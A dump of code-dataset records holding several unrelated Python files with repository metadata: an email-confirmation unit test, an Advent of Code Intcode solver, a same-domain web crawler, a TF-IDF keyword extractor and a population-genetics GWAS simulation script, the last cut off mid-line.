"dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Module", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 13, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 13, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.unsqueeze", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.split", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.split", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.mul", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn.functional.tanh", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 63, "usage_type": "name"}, {"api_name": "torch.nn.functional.tanh", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.mul", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn.functional.tanh", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.nn.functional.tanh", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 71, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 86, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 86, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 93, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 94, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 96, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 96, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.split", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 124, "usage_type": "name"}, {"api_name": "torch.nn.functional.tanh", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 125, "usage_type": "name"}, {"api_name": "torch.mul", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.nn.functional.tanh", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 130, "usage_type": "name"}, {"api_name": "torch.nn.functional.tanh", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 132, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 147, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 147, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 154, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 154, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 155, "usage_type": "name"}, {"api_name": "torch.split", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 180, "usage_type": "name"}, {"api_name": "torch.nn.functional.tanh", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 182, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.nn.functional.tanh", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 185, "usage_type": "name"}, {"api_name": "torch.nn.functional.tanh", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 187, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 194, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 195, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 202, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 202, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 209, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 210, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 210, "usage_type": "name"}, {"api_name": "torch.mul", "line_number": 213, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.add", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 218, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 218, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 222, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 222, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 235, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 235, "usage_type": "name"}]} {"seq_id": "25949711000", "text": "from datetime import datetime\n\nfrom tests.base import AbstractAppTestCase\n\nfrom testfixtures.user import create_user\nfrom testfixtures.verification_token import \\\n create_verification_token_for_email_address_confirmation \\\n as create_confirmation_token\n\n\nNOW = datetime.now()\n\n\nclass EmailAddressConfirmationTestCase(AbstractAppTestCase):\n\n def setUp(self):\n super().setUp()\n\n self.user = create_user(1, enabled=False)\n self.db.session.add(self.user)\n self.db.session.commit()\n\n def test_confirm_email_address_with_valid_token(self):\n verification_token = create_confirmation_token(self.user.id)\n self.db.session.add(verification_token)\n self.db.session.commit()\n\n self.assertFalse(self.user.enabled)\n\n response = self._confirm(verification_token)\n\n self.assertEqual(response.status_code, 302)\n self.assertTrue(self.user.enabled)\n\n def test_confirm_email_address_with_unknown_token(self):\n verification_token = create_confirmation_token(self.user.id)\n verification_token.token = '879fa007-5fbc-412e-8ec1-b7f140807631'\n\n self.assertFalse(self.user.enabled)\n\n response = self._confirm(verification_token)\n\n self.assertEqual(response.status_code, 404)\n self.assertFalse(self.user.enabled)\n\n def _confirm(self, verification_token):\n url = '/users/email_address_confirmations/{}' \\\n .format(verification_token.token)\n with self.client() as client:\n return client.get(url)\n", "repo_name": "agreements/byceps", "sub_path": "tests/blueprints/user/test_views_email_address_confirmation.py", "file_name": "test_views_email_address_confirmation.py", "file_ext": "py", "file_size_in_byte": 1540, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime.now", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "name"}, {"api_name": "tests.base.AbstractAppTestCase", "line_number": 14, "usage_type": "name"}, {"api_name": "testfixtures.user.create_user", "line_number": 19, "usage_type": "call"}, {"api_name": "testfixtures.verification_token.create_verification_token_for_email_address_confirmation", "line_number": 24, "usage_type": "call"}, {"api_name": "testfixtures.verification_token.create_verification_token_for_email_address_confirmation", "line_number": 36, "usage_type": "call"}]} {"seq_id": "43485765", "text": "from collections import defaultdict\nfrom itertools import count\n\nfrom .intcode import load_program, IntCodeMachine\n\n\ndef test_location(program, x, y):\n machine = IntCodeMachine(program, [x, y])\n machine.return_output = True\n pulled = machine.run()\n return pulled\n\n\ndef solve_a(data):\n program = load_program(data)\n\n pulled_map = {}\n\n for y in range(50):\n for x in range(50):\n pulled_map[x, y] = test_location(program, x, y)\n\n return sum(pulled_map.values())\n\n\ndef solve_b(data):\n program = load_program(data)\n\n pulled_map = defaultdict(int)\n\n x = 0\n y = 0\n while True:\n # Count x till we reach a pulling spot\n for i, x in enumerate(count(x)):\n pulled_map[x, y] = test_location(program, x, y)\n if pulled_map[x, y] == 1:\n break\n if i > 50: # First few lines are too narrow\n break\n if i > 50:\n # Reset to the start\n x = 0\n else:\n # Test the top right corner of a 100x100 square\n if (y - 99) >= 0:\n pulled = test_location(program, x + 99, y - 99)\n if pulled == 1:\n return x * 10000 + (y - 99)\n y += 1\n", "repo_name": "davchoo/AdventOfCode", "sub_path": "aoc_davchoo/2019/day19.py", "file_name": "day19.py", "file_ext": "py", "file_size_in_byte": 1246, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "intcode.IntCodeMachine", "line_number": 8, "usage_type": "call"}, {"api_name": "intcode.load_program", "line_number": 15, "usage_type": "call"}, {"api_name": "intcode.load_program", "line_number": 27, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 29, "usage_type": "call"}, {"api_name": "itertools.count", "line_number": 35, "usage_type": "call"}]} {"seq_id": "5635616478", "text": "#!/usr/bin/env python3.7\nimport sys\nimport argparse\nimport hashlib\nfrom collections import defaultdict\nfrom traceback import format_exc\nimport multiprocessing as mp\nimport csv\nfrom urllib.parse import urlparse, urlunparse\nfrom pathlib import Path\nimport time\nfrom enum import Enum\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nMAX_DEPTH_LEVEL = 2\n\n\nclass URLError(Enum):\n EXTERNAL_DOMAIN = 1\n DOWNLOAD_ERROR = 2\n PARSE_ERROR = 3\n\n\nclass InvalidUrl(Exception):\n pass\n\n\ndef validate_url(url: str):\n \"\"\"\n Make sure URL is valid\n :param url:\n :return:\n \"\"\"\n try:\n return urlparse(url)\n except KeyboardInterrupt:\n return None\n\n\ndef parse_url(queue: mp.Queue, duplicate_images_urls, visited_urls,\n valid_urls_fd, invalid_urls_fd, ol: mp.Lock):\n \"\"\"\n Main worker code\n :param queue: interprocess Queue\n :param duplicate_images_urls: interprocess dict to store duplicate images\n :param visited_urls: interprocess list to store visited urls\n :param valid_urls_fd: file descriptor for output\n :param invalid_urls_fd: file descriptor for output\n :param ol: lock to control output\n :return:\n \"\"\"\n while True:\n invalid_urls = []\n valid_urls = []\n url, level = queue.get()\n\n # skip deep urls\n if level > MAX_DEPTH_LEVEL:\n queue.task_done()\n continue\n\n # skip visited urls\n if url in visited_urls:\n queue.task_done()\n continue\n\n try:\n with ol:\n sys.stdout.write(\n \"url=%r, depth=%r(%r), process=%r \\n\" % (url, level, MAX_DEPTH_LEVEL, mp.current_process()))\n sys.stdout.flush()\n\n url_parsed = validate_url(url)\n\n if url_parsed is None:\n invalid_urls.append((url, URLError.PARSE_ERROR))\n raise InvalidUrl\n\n try:\n resp = requests.get(url)\n resp.raise_for_status()\n except requests.exceptions.RequestException:\n invalid_urls.append((url, URLError.DOWNLOAD_ERROR))\n raise InvalidUrl\n\n # output this URL as visited\n with ol:\n vcsv = csv.writer(valid_urls_fd)\n vcsv.writerow([url, level])\n valid_urls_fd.flush()\n\n content_type = resp.headers.get(\"Content-Type\")\n if content_type and \"text/html\" in content_type:\n soup = BeautifulSoup(resp.text, features=\"html.parser\")\n links = [str(l.get('href')) for l in soup.find_all('a')]\n links.extend([str(s.get('src')) for s in soup.find_all('img')])\n\n for link in links:\n p = validate_url(link)\n if p is None:\n invalid_urls.append((link, URLError.PARSE_ERROR))\n continue\n # resolve relative paths and supply netloc where missing\n t = list(p[:])\n t[0] = url_parsed.scheme if p.scheme == '' else p.scheme\n t[1] = url_parsed.netloc if p.netloc == '' else p.netloc\n if \"..\" in p.path:\n tmp = Path(\"/{}/{}\".format(url_parsed.path, p.path)).resolve()\n t[2] = \"\" if tmp is None else str(tmp)\n t[-1] = \"\"\n new_link = urlunparse(t)\n p = validate_url(new_link)\n if p is None: # restrict to the same domain\n invalid_urls.append((new_link, URLError.PARSE_ERROR))\n continue\n if p.netloc != url_parsed.netloc:\n invalid_urls.append((new_link, URLError.EXTERNAL_DOMAIN))\n continue\n valid_urls.append(new_link)\n\n # add links back to queue\n for u in set(valid_urls):\n if u not in visited_urls:\n queue.put((u, level + 1))\n\n elif content_type and content_type.startswith(\"image/\"):\n # image content processing\n h = hashlib.md5(resp.content).hexdigest()\n duplicate_images_urls.append((h, url))\n\n except InvalidUrl:\n pass\n except Exception:\n with ol:\n sys.stderr.write(\"Error processing URL=%r, exc=%r \\n\" % (url, format_exc()))\n sys.stderr.flush()\n\n with ol:\n icsv = csv.writer(invalid_urls_fd)\n for (u, e) in invalid_urls:\n icsv.writerow([u, str(e)])\n invalid_urls_fd.flush()\n\n visited_urls.append(url)\n queue.task_done()\n\n\ndef output_dupimgs(duplicate_img_fd, duplicate_images_urls):\n \"\"\"\n Outputs duplocate URLs to a file\n :param duplicate_img_fd: file handle\n :param duplicate_images_urls: list of tuples (hash, url)\n :return:\n \"\"\"\n cs = csv.writer(duplicate_img_fd)\n cs.writerow([\"URL\", \"md5\"])\n dp_imgs = defaultdict(lambda: [])\n for (h, u) in duplicate_images_urls:\n dp_imgs[h].append(u)\n\n for h, urls in dp_imgs.items():\n if len(urls) > 1:\n for u in urls:\n cs.writerow([u, h])\n\n\nclass Crawler(object):\n \"\"\"\n Crawler code\n \"\"\"\n\n def __init__(self, starting_url, valid_urls_fn, invalid_urls_fn, duplicate_img_fn):\n\n self.manager = mp.Manager()\n self.queue = mp.JoinableQueue()\n self.output_lock = mp.Lock()\n self.duplicate_images_urls = self.manager.list()\n self.visited_urls = self.manager.list()\n self.valid_urls_fd = open(valid_urls_fn, 'w')\n self.invalid_urls_fd = open(invalid_urls_fn, 'w')\n self.duplicate_img_fd = open(duplicate_img_fn, 'w')\n self.workers = []\n for _ in range(mp.cpu_count()):\n p = mp.Process(\n target=parse_url,\n args=(\n self.queue,\n self.duplicate_images_urls,\n self.visited_urls,\n self.valid_urls_fd,\n self.invalid_urls_fd,\n self.output_lock\n )\n )\n p.start()\n self.workers.append(p)\n\n try:\n self.queue.put((starting_url, 0))\n self.queue.join()\n finally:\n output_dupimgs(self.duplicate_img_fd, self.duplicate_images_urls)\n self.manager.shutdown()\n sys.stdout.write(\"Shutting down...\\n\")\n for i, worker in enumerate(self.workers):\n try:\n worker.terminate()\n except Exception:\n sys.stdout.write(\"Unable to terminate worker %s !\" % i)\n\n # close file descriptors\n self.valid_urls_fd.close()\n self.invalid_urls_fd.close()\n self.duplicate_img_fd.close()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"url\", type=str, help=\"start web crawling from this URL\")\n parser.add_argument(\"--visited\", type=str, default=\"visited.csv\", help=\"CSV file to store visited links\")\n parser.add_argument(\"--invalid\", type=str, default=\"invalid.csv\", help=\"CSV file to store invalid links\")\n parser.add_argument(\"--dupimgs\", type=str, default=\"dupimgs.csv\",\n help=\"CSV file to store links of duplicate images\")\n parser.add_argument(\"--depth\", type=int, default=2, help=\"Max link retrieval depth\")\n args = parser.parse_args()\n MAX_DEPTH_LEVEL = args.depth\n Crawler(\n starting_url=args.url,\n valid_urls_fn=args.visited,\n invalid_urls_fn=args.invalid,\n duplicate_img_fn=args.dupimgs\n )\n", "repo_name": "bananos/crawler", "sub_path": "crawl.py", "file_name": "crawl.py", "file_ext": "py", "file_size_in_byte": 7793, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "enum.Enum", "line_number": 20, "usage_type": "name"}, {"api_name": "urllib.parse.urlparse", "line_number": 37, "usage_type": "call"}, {"api_name": "multiprocessing.Queue", "line_number": 42, "usage_type": "attribute"}, {"api_name": "multiprocessing.Lock", "line_number": 43, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 71, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 71, "usage_type": "attribute"}, {"api_name": "multiprocessing.current_process", "line_number": 72, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 73, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 73, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 82, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 84, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 90, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 96, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 110, "usage_type": "call"}, {"api_name": "urllib.parse.urlunparse", "line_number": 113, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 130, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 137, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 137, "usage_type": "attribute"}, {"api_name": "traceback.format_exc", "line_number": 137, "usage_type": "call"}, {"api_name": "sys.stderr.flush", "line_number": 138, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 138, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 141, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 157, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 159, "usage_type": "call"}, {"api_name": "multiprocessing.Manager", "line_number": 176, "usage_type": "call"}, {"api_name": "multiprocessing.JoinableQueue", "line_number": 177, "usage_type": "call"}, {"api_name": "multiprocessing.Lock", "line_number": 178, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 185, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 186, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 206, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 206, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 211, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 211, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 220, "usage_type": "call"}]} {"seq_id": "4669024011", "text": "import collections\nfrom nltk.corpus import stopwords\nimport string\nimport nltk\nfrom lxml import etree\nfrom collections import Counter\nfrom nltk import WordNetLemmatizer\nfrom nltk import pos_tag\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport pandas as pd\n\ntree = etree.parse('news.xml')\n# tree = etree.parse('data.txt')\n\nroot = tree.getroot()\n\n# for children in root.getchildren():\n# for c in children:\n# etree.dump(c.find(\"head\"))\n\ncorpus = root.find(\"corpus\")\nnews = corpus.findall(\"news\")\n\npunctuation_list = list(string.punctuation)\n# print(punctuation_list)\nstop_words = list(stopwords.words('english')) + ['ha', 'wa', 'u', 'a']\n# print(stop_words)\n\nlemmatizer = WordNetLemmatizer()\nall_words = []\nfor n in news:\n value = n.findall(\"value\")\n article_tokens = nltk.tokenize.word_tokenize(value[1].text.lower())\n article_tokens.sort(reverse=True)\n lemmatized_tokens = []\n for token in article_tokens:\n word = lemmatizer.lemmatize(token)\n if nltk.pos_tag([word])[0][1] == \"NN\":\n lemmatized_tokens.append(word)\n\n filtered_tokens = [token for token in lemmatized_tokens if\n token not in stop_words and token not in punctuation_list and token not in ['ha', 'wa', 'u', 'a']]\n # print(filtered_tokens)\n all_words.append(\" \".join(filtered_tokens))\n\nvectorizer = TfidfVectorizer()\n\ntfidf_matrix = vectorizer.fit_transform(all_words)\n# print(tfidf_matrix.shape)\n# print(tfidf_matrix[0])\n# print(tfidf_matrix[1])\n# print(tfidf_matrix.toarray())\n\n\n\n\n# print(scores_dict)\n\n\n# print(len(all_words))\n\n#print(all_words)\n# vectorizer = TfidfVectorizer()\n# tfidf_matrix = vectorizer.fit_transform(all_words)\n# feature_names = vectorizer.get_feature_names()\n# df = pd.DataFrame(tfidf_matrix.toarray(), columns = vectorizer.get_feature_names())\n# print(df)\n\n# def get_ifidf_for_words(text):\n# tfidf_matrix= vectorizer.transform([text]).todense()\n# feature_index = tfidf_matrix[0,:].nonzero()[1]\n# tfidf_scores = zip([feature_names[i] for i in feature_index], [tfidf_matrix[0, x] for x in feature_index])\n# return dict(tfidf_scores)\n#\n# print(get_ifidf_for_words(all_words))\n\nnews_index = 0\nfor n in news:\n value = n.findall(\"value\")\n head = f'{value[0].text}:'\n # article_tokens = nltk.tokenize.word_tokenize(value[1].text.lower())\n # article_tokens.sort(reverse=True)\n # lemmatized_tokens = []\n # for token in article_tokens:\n # word = lemmatizer.lemmatize(token)\n # if nltk.pos_tag([word])[0][1] == \"NN\":\n # lemmatized_tokens.append(word)\n # fil_tok = [token for token in lemmatized_tokens if token not in stop_words and token not in punctuation_list and token not in ['ha', 'wa', 'u', 'a']]\n # #print(filtered_tokens)\n print(head)\n\n fil_tok = all_words[news_index].split()\n # print(fil_tok)\n\n my_df = pd.DataFrame(tfidf_matrix[news_index].T.todense(), index=vectorizer.get_feature_names_out(), columns=[\"TF-IDF\"])\n my_df = my_df.sort_values('TF-IDF', ascending=False)\n #print(my_df.head(25))\n scores_dict = my_df.to_dict()['TF-IDF']\n\n sorted_dict = sorted(scores_dict.items(), key=lambda x: (x[1],x[0]), reverse=True)\n #print(sorted_dict)\n\n # df = pd.DataFrame(tfidf_matrix[news_index].toarray())\n # df2 = df.transpose().sort_values(by=0, ascending=False).reset_index()\n # terms = vectorizer.get_feature_names_out()\n # # print(terms)\n # top_words = []\n # for _i in range(0, 5):\n # part = terms[int(df2.iloc[_i]['index'])]\n # #string_to_print += part + ' '\n # top_words.append(part)\n # #print(top_words)\n\n for i in range(5):\n print(sorted_dict[i][0], end=\" \")\n print()\n # sprint(*sorted(top_words, reverse=True))\n\n\n # highest_scores = []\n # for k, v in scores_dict.items():\n # if k in fil_tok:\n # print(k, v)\n # highest_scores.append(k)\n # if len(highest_scores) == 10:\n # break\n\n # final = []\n # for w in sorted(fil_tok, reverse=True):\n # if w not in final and w in highest_scores:\n # final.append(w)\n\n # print(*reversed(final))\n# print(*highest_scores)\n # my_dict = collections.Counter(fil_tok)\n # most_common_list = my_dict.most_common(5)\n # for i in range(5):\n # print(most_common_list[i][0], end=' ')\n print()\n news_index += 1\n\n", "repo_name": "byteclot/key_terms", "sub_path": "key_terms.py", "file_name": "key_terms.py", "file_ext": "py", "file_size_in_byte": 4384, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "lxml.etree.parse", "line_number": 12, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 12, "usage_type": "name"}, {"api_name": "string.punctuation", "line_number": 24, "usage_type": "attribute"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 26, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 26, "usage_type": "name"}, {"api_name": "nltk.WordNetLemmatizer", "line_number": 29, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 33, "usage_type": "call"}, {"api_name": "nltk.tokenize", "line_number": 33, "usage_type": "attribute"}, {"api_name": "nltk.pos_tag", "line_number": 38, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 95, "usage_type": "call"}]} {"seq_id": "10589087240", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 9 16:57:18 2021\n\n@author: linkv\n\"\"\"\n\n\nimport tskit\nimport matplotlib.pyplot as plt\nimport TPhenotypes as pt\nimport TAssociationTesting as gwas\nimport TVariants as tvar\nimport TIndividuals as tind\nimport TSimulator as tsim\nimport datetime\nimport argparse\nimport logging\nimport os\nimport sys\nimport numpy as np\n\nos.chdir(os.path.dirname(sys.argv[0]))\n\n\nfrom numpy.random import RandomState\nclass randomGenerator:\n def __init__(self, seed):\n self.seed = seed\n self.random = RandomState(seed)\n \n\ntim = datetime.datetime.now()\nseed = tim.hour*10000+tim.minute*100+tim.second\nr = randomGenerator(seed)\nr.random.get_state()[1][0]\n\nlogger = logging.getLogger()\n\n\n#if you check end of last tree you still get 249,250,621, the length of chr1 in hg19....\n# trees.aslist()[trees.num_trees - 1].interval.right\n#A site defines a particular location along the genome in which we are interested in observing the allelic state. So I guess that means sites are only defined where there are mutations\n# print(trees.tables.sites) #the position of the last site is very close to the end of the interval we kept above\n\n#-----------------------\n# Simulate\n#-----------------------\n\nsimulator = tsim.TSimulatorStdPopsim()\ntrees = simulator.run_simulation(\"default\", r)\n\n#-----------------------\n# Read trees\n#-----------------------\n\ndirectory = \"/data/ARGWAS/experiments_N500/\"\n\ntrees = tskit.load(directory + \"test_2.trees\")\n\nsamp_ids = trees.samples()\nN = len(samp_ids)\n\ntrees_relate = tskit.load(directory + \"relate_test_2_propTyped1/test_2_propTyped1.trees\")\nvariants = tvar.TVariantsFiltered(trees, samp_ids, 0, 1, prop_typed_variants = 1, pos_int = True, random = r, logfile = logger,\n filtered_variants_file = directory + \"/relate_test_2_propTyped1/test_2_propTyped1_filtered_sample_variants.csv\")\nprint(variants.num_typed)\nlen(list(trees_relate.variants(samples=samp_ids)))\n\ntrees_relate = tskit.load(directory + \"relate_test_2_propTyped0.01/test_2_propTyped0.01.trees\")\nvariants = tvar.TVariantsFiltered(trees, samp_ids, 0, 1, prop_typed_variants = 1, pos_int = True, random = r, logfile = logger,\n filtered_variants_file = directory + \"relate_test_2_propTyped0.01/test_2_propTyped0.01_filtered_sample_variants.csv\")\nprint(variants.num_typed)\nlen(list(trees_relate.variants(samples=samp_ids)))\n\n\ntrees_relate = tskit.load(directory + \"relate_test_2_propTyped0.05/test_2_propTyped0.05.trees\")\nvariants = tvar.TVariantsFiltered(trees, samp_ids, 0, 1, prop_typed_variants = 1, pos_int = True, random = r, logfile = logger,\n filtered_variants_file = directory + \"relate_test_2_propTyped0.05/test_2_propTyped0.05_filtered_sample_variants.csv\")\nprint(variants.num_typed)\nlen(list(trees_relate.variants(samples=samp_ids)))\n\n#-----------------------\n# simulate pheno based on all variants of a tree\n#-----------------------\ncausal_tree = trees.at(49500000)\nlen(list(causal_tree.mutations()))\nfor m in causal_tree.mutations():\n print(m)\n\nfor m in causal_tree.sites():\n print(m)\n\n#-----------------------\n# create diploids and variants\n#-----------------------\n\ninds = tind.Individuals(2, N)\nvariants = tvar.TVariantsFiltered(trees, samp_ids, 0.01, 1, prop_typed_variants = 1, pos_int = True, random = r, logfile = logger)\nvariants.num_typed\n\n#see variants from tree directly\nlist(trees.variants(samples=samp_ids))[0]\nlen(list(trees.variants(samples=samp_ids)))\n\nvariants_relate = tvar.TVariantsFiltered(trees_relate, samp_ids, 0.01, 1, prop_typed_variants = 1, pos_int = True, random = r, logfile = logger)\nlen(list(trees_relate.variants(samples=samp_ids)))\nvariants_relate.num_typed\n#-----------------------\n# GRM\n#------------------------\nM_sum = np.zeros(shape=(10000, 10000)) \n\nfor v in range(100):\n # gt = np.array([1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0])\n gt = np.random.binomial(1, 0.1, size=10000)\n af = np.sum(gt) / len(gt) \n first = np.array([gt - af]).T\n second = np.array([gt - af])\n M = np.dot(first, second)\n M = M / (af * (1 - af))\n len(gt)\n M_sum += (M / (100))\nnp.trace(M_sum)\n\n\n#--------------------------\n# create phenotypes\n#-----------------------\n\n# phenotypes with genetic influence\nsd_environmental_noise = 1\nprop_causal_mutations = 0.002 #this is only for variants found in sampled haplotypes\nsd_beta_causal_mutations = 1\npheno_unif = pt.Phenotypes(\"uniform distr. of causal SNPs\", variants, N)\npheno_unif.simulate_env_noise_sd(sd_environmental_noise, r)\npheno_unif.simulate_uniform(variants, prop_causal_mutations=prop_causal_mutations, sd_beta_causal_mutations=sd_beta_causal_mutations, random=r)\n\n# phenotypes with genetic influence, no noise\npheno_unif_noNoise = pt.Phenotypes(\"uniform distr., no noise\", variants, N)\npheno_unif_noNoise.simulate_fixed(pheno_unif.causal_variants, pheno_unif.causal_variant_indeces, pheno_unif.causal_betas)\npheno_unif_noNoise.find_causal_trees(trees)\n\n# random phenotypes\nsd_environmental_noise = 1\npheno_random = pt.Phenotypes(\"random\", variants, N)\npheno_random.simulate_env_noise_sd(sd_environmental_noise, r)\n\n# fixed causal variant\nsd_environmental_noise = 0\npheno_fixed = pt.Phenotypes(\"fixed beta -0.67, no noise\", variants, N)\npheno_fixed.simulate_fixed([pheno_unif.causal_variants[2]], pheno_unif.causal_variant_indeces[2], [-0.67])\n\n# fixed causal variant with high allele freq\nsd_environmental_noise = 0\nindex = np.where(variants.allele_frequencies > 0.4)[0][int(np.floor(len(np.where(variants.allele_frequencies > 0.4)[0]) / 2))]\npheno_fixed_hp = pt.Phenotypes(\"fixed high freq beta -0.67, no noise\", variants, N)\npheno_fixed_hp.simulate_fixed([variants.variants[index]], index, [-0.67])\n\n# fixed causal variant with high allele freq with noise\nsd_environmental_noise = 